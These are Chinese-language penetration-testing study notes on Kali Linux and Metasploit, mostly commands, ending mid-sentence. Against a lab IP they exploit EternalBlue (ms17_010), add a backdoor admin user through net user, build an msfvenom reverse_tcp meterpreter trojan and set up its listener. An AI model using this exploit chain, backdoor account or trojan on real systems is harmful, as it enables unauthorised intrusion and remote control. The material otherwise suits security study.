kali-安全渗透学习-01

资料仅用于个人学习，恶意攻击互联网网站及操作系统属于违法行为！！

1、安装与部署kali

2、metasploit工具

msfconsole

2.1、metasploit攻击windows操作系统

msf使用法则：
使用模块--配置模块必选项--运行模块

示例：永恒之蓝445漏洞攻击

2.1.1、查找模块

		msf6 > search  ms17_010

2.1.2、使用模块

		msf6 > use exploit/windows/smb/ms17_010_eternalblue 

2.1.3、设置必选项（Required：yes为必填）

		sf6 exploit(windows/smb/ms17_010_eternalblue) > show options 

2.1.4、设置模块

		msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.63.139
		RHOSTS => 192.168.63.139
		msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 9999
		LPORT => 9999

2.1.5、运行

		run

2.1.6、攻击成功

成功后的操作

help可以查看可以执行的操作

例如：创建后门用户并开启远程连接

meterpreter > shell
C:\Windows\system32>net user zhangsan 123456 /add && net localgroup administrator zhangsan /add

2.2、生成远控木马

2.2.1 windows可执行程序后门（不能绕过杀毒软件）

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.63.129 lport=9999 -f exe  -o demo9999.exe

2.2.2、执行木马监控

		msfconsole
		msf6 > use exploit/multi/handler 
		msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
		msf6 exploit(multi/handler) > set LHOST 192.168.63.129
		msf6 exploit(multi/handler) > set LPORT 9999
		run

当某台主机点击前期生成的木马程序时